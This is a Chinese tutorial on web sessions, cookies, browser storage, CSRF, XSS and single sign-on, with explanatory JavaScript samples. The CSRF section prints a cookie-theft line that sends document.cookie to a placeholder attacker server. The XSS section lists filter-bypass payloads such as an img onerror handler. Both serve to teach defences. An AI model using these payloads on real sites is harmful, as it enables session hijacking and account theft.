阅读 6000

session与登录机制

github 地址:戳这里

session

概念

  1. 指一类用来在客户端与服务器之间保持状态的解决方案
  2. 这种解决方案的存储结构

特点

  • 由于 Session 是以文本文件形式存储在服务器端的,所以不怕客户端修改 Session 内容。(也可以用其他存储方式比如redis

  • Session对象是有生命周期的

  • Session实例是轻量级的,所谓轻量级:是指他的创建和删除不需要消耗太多资源

  • Session对象内部有一个缓存

用法

Session 对象存储特定用户会话所需的属性及配置信息,在web页跳转时,信息将不会丢失

通常用于以下操作

  1. 存储整个会话过程中保持用户状态的信息,比如登录信息或者用户浏览时产生的其它信息
  2. 存储只需要在 页重新加载 过程中,或者 一组功能页 之间保持状态的对象
  3. 在 Web服务器上保持用户的 状态信息 供在任何时间从任何设备上的页面进行访问。

限制

  1. 用户登录越多,session需要的内存量越大
  2. 每个 Session 对象的持续时间是用户访问的时间加上不活动的时间。

为何需要session

HTTP协议本身是无状态的

举个喝咖啡的例子:

1、该店的店员很厉害,能记住每位顾客的消费数量,只要顾客一走进咖啡店,店员就知道该怎么对待了。这种做法就是协议本身支持状态。

2、发给顾客一张卡片,上面记录着消费的数量,一般还有个有效期限。每次消费时,如果顾客出示这张卡片,则此次消费就会与以前或以后的消费相联系起来。这种做法就是在客户端保持状态。

3、发给顾客一张会员卡,除了卡号之外什么信息也不纪录,每次消费时,如果顾客出示该卡片,则店员在店里的纪录本上找到这个卡号对应的纪录添加一些消费信息。这种做法就是在服务器端保持状态。

具体机制

  1. 当程序需要为某个客户端的请求创建一个session的时候,服务器首先检查这个客户端的请求里是否已包含了一个 session标识 - 称为session id,如果已包含一个session id则说明以前已经为此客户端创建过session,服务器就按照session id把这个session检索出来使用(如果检索不到,可能会新建一个),如果客户端请求不包含session id,则为此客户端创建一个session并且生成一个与此session相关联的session idsession id的值应该是一个 既不会重复,又不容易被找到规律以仿造的字符串 ,这个session id将被在本次响应中返回给客户端保存。

  2. 由于cookie可以被人为的禁止,必须有其他机制以便在cookie被禁止时仍然能够把session id传递回服务器。经常被使用的一种技术叫做URL重写

    两种形式:

    // 作为url附加路径
    'http://..../xxx;jsessionid=abcdefjijeoijoifjioe'
    
    
    // 作为查询字符串
    'http://..../xxx?jsessionid=abcdefjijeoijoifjioe'
    复制代码
  3. 较老的技术,表单隐藏字段,此方法在防止csrf中有用

实现

基于cookie来实现用户和数据的映射

将口令放在cookie中,口令一旦被褚昂爱,就丢失映射关系。通常session的有效期通常短,过期就将数据删除

一旦服务器检查到用户请求cookie中没有携带session_id,它会为之生成一个值,这个值是唯一且不重复的值,并设定超时时间。如果过期就重新生成,如果没有过期,就更新超时时间

var sessions = {};
var key = 'session_id';
var EXPIRES = 20*60*1000;
var generate  = function () {
	var session = {};
	session.id = (new Date().getTime()) + Math.random();
	session.cookie = {
		expire: (new Date()).getTime() + EXPIRES
	}
	sessions[session.id] = session
}

function (req, res) {
	var id = req.cookies[key];
	if (!id) {
		req.session = generate();
	} else {
		var session = sessions[id];
		if (session) {
			if (session.cookie.expire > new Date().getTime()) {
				session.cookie.expire = new Date().getTime() + EXPIRES;
				req.session = session;
			} else {
				delete sessions[id];
				req.session = generate();
			}
		} else {
			req.session = generate();
		}
	}
}
复制代码

一种节省空间的做法

由于关闭浏览器不会导致session被删除,迫使服务器为seesion设置了一个失效时间,当距离客户端上一次使用session的时间超过这个失效时间时,服务器就可以认为客户端已经停止了活动,才会把session删除以节省存储空间

reference

http://justsee.iteye.com/blog/1570652

https://baike.baidu.com/item/session/479100?fr=aladdin

https://blog.csdn.net/hjc1984117/article/details/53995816

cookie

存储在用户本地终端的数据

http请求自动发送,跨域除外

用途

客户端记录用户信息

特点

存储在硬盘上的cookie可以在不同的浏览器进程间共享,比如两个IE窗口。而对于保存在内存里的cookie,不同的浏览器有不同的处理方式。

属性

  1. namecookie名称
  2. valuecookie
  3. domain:可以访问cookie的域名,某一级域名可以访问上一级级域名的cookie
  4. expires/Max-Age:过期时间
  5. Sizecookie的大小
  6. httphttponly属性,为true,不能用document.cookie获得
  7. secure:为true只能在https获得
  8. path:子路径访问父路径cookie

创建cookie

document.cookie="username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 GMT; path=/";

读取cookie

document.cookie

修改cookie

document.cookie =

采用覆盖的形式

删除cookie

将过期时间设置为过去时间即可

localStoragesessionStorage的区别

  1. 存储大小

    • cookie数据大小不能超过4k。

    • sessionStoragelocalStorage 虽然也有存储大小的限制,但比cookie大得多,可以达到5M或更大。

  2. 有效时间

    • localStorage 存储持久数据,浏览器关闭后数据不丢失除非主动删除数据;

    • sessionStorage 数据在当前浏览器窗口关闭后自动删除。

    • cookie 设置的cookie过期时间之前一直有效,即使窗口或浏览器关闭

  3. sessionStorage

    • 会话级别的存储
    • 临时性的,页面打开有,页面关闭没有
    • 数据不共享
    • 通过a标签来跳出一个页面,则sessionStorage共享
  4. localStorage

    • 持久化的本地存储
    • 永久性的存储
    • 不能跨域
    • 数据共享
  5. cookie

    • cookie在同源且符合path规则的文档之间共享
    • max-age用秒来设置cookie的生存期。
    • 如果max-age为0,则表示删除该cookie
    • 如果max-age为负数,则表示该cookie仅在本浏览器窗口以及本窗口打开的子窗口内有效,关闭窗口后该cookie即失效。

如何得到cookie

有两个http头部是专门负责设置以及发送cookie的,它们分别是 Set-Cookie 以及 Cookie 。当服务器返回给客户端一个http响应信息时,其中如果包含Set-Cookie这个头部时,意思就是指示客户端建立一个cookie,并且在后续的http请求中自动发送这个cookie到服务器端,直到这个cookie过期。如果cookie的生存时间是整个会话期间的话,那么浏览器会将cookie保存在内存中,浏览器关闭时就会自动清除这个cookie。另外一种情况就是保存在客户端的硬盘中,浏览器关闭的话,该cookie也不会被清除,下次打开浏览器访问对应网站时,这个cookie就会自动再次发送到服务器端。

cookie服务器端写入

//java的写法
response.setHeader("SET-COOKIE", key + "="+ value + ";Path=/;domain="+ domain + ";date="+date);

//php 中的写法
setcookie(name,value,expire,path,domain,secure)
复制代码

reference

https://my.oschina.net/ososchina/blog/339918

https://blog.csdn.net/dong123dddd/article/details/50388656

csrf(跨站请求伪造)

过程

  1. 用户c打开浏览器,登录网站a
  2. 登录成功后,记录登录信息cookie
  3. 在网站a未退出的情况下,打开网站b
  4. 网站b在收到用户请求后返回攻击性代码,获取网站acookie,并发出请求a网站(注意:这儿是两步)
  5. 网站a误以为还是用户c发出的请求

窃取cookie

向被攻击者的服务器页面上注入一段javascript代码(借助xss跨站脚本攻击)

document.location='http://AttackerServer/getCookie.php?cookie='+document.cookie;
复制代码

防御

  1. 验证http referer字段
  2. 在请求地址中添加token

系统开发者可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务器端建立一个拦截器来验证这个token,如果请求中没有token或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求。

  1. HTTP头中自定义属性并验证(不会被泄露)

reference

http://www.freebuf.com/articles/web/11840.html

xss(跨站脚本攻击)

分类

  1. 反射型(非持久型)

那些浏览器每次都要在参数中提交恶意数据才能触发的跨站脚本漏洞。

可以让一个域名转向到恶意URL,把那个域名发给用户

  1. 存储型(持久型)

指通过提交恶意数据到存储器(比如数据库、文本文件等),Web应用程序输出的时候是从存储器中读出恶意数据输出到页面的一类跨站脚本漏洞。

常见攻击方法

  1. 绕过xss-filter
  2. 利用img
  3. 空格,回车,tab来绕过过滤
  4. 利用事件如:<img src=“#” onerror= “alert(1)”/>
  5. css跨站:background-url
  6. 利用字符编码

防御

  1. xss-filter,过滤标签 2.httpOnly
  2. 将变量输出到页面时,要编码

reference

http://www.cnblogs.com/wqhwe/p/5416976.html

单系统登录

http无状态协议

浏览器每次请求,服务器都单独处理

要鉴别浏览器请求,又因为http是无状态协议,所以需要服务器和浏览器共同维护一个状态

会话机制

浏览器第一次请求服务器,创建一个会话id,并由浏览器存储,以后每次请求都带上,服务器取得后可判断是否是同一个用户

单系统利用cookie

登录状态

浏览器第一次请求服务器,需要验证用户名和密码,通过与数据库里的作比较,验证通过将会话标记为“已授权”

以后每次请求都检查登录状态

单点登录(多系统登录,single sign onsso)

用户登录注销一次,就可以在多个系统中得到效果

由于多系统的域不一样,所有cookie会受到限制,浏览器发送http请求时会自动携带与该域匹配的cookie,而不是所有cookie

如果将domain设置为顶级域名会有限制:

  1. 系统群域名得统一
  2. 各系统使用的技术要相同
  3. cookie不安全

登录

相比于单系统登录,sso多了一个认证中心,只有认证中心接受用户名和密码等安全信息,其他系统不提供登录入口,只接受认证中心的间接授权。间接授权通过令牌实现,sso认证中心验证用户的用户名密码没问题,创建授权令牌,在接下来的跳转过程中,授权令牌作为参数发送给各个子系统,子系统拿到令牌,即得到了授权,可以借此创建局部会话,局部会话登录方式与单系统的登录方式相同。这个过程,也就是单点登录的原理,用下图说明

image

用户登录成功之后,会与sso认证中心及各个子系统建立会话,用户与sso认证中心建立的会话称为全局会话,用户与各个子系统建立的会话称为局部会话,局部会话建立之后,用户访问子系统受保护资源将不再通过sso认证中心

注销

注销

具体跳转

假设认证中心和系统2的url分别是:sso.com、system2.com ,访问 system2.com 时因未登录而跳转到 sso.com ,跳转地址:http://sso.com?service=http://system2.com(不需要额外信息),此时,就变成了浏览器与 http://sso.com 站点之间的会话,这个会话因为系统1登录的原因已经被标记为已登录,所以认证中心取一块令牌,根据service参数回跳,并附上令牌,回跳地址:http://system2.com?token=token

如何验证登录信息

  1. 不同域之间

  2. 同一域名不同站点

    • 共享cookie
  3. 同一域,不同子域

    • 存放sessionId的域都是上一级的

reference

https://www.cnblogs.com/wxj-106/p/8097880.html

http://www.cnblogs.com/ywlaker/p/6113927.html#!comments

关注下面的标签,发现更多相似文章
评论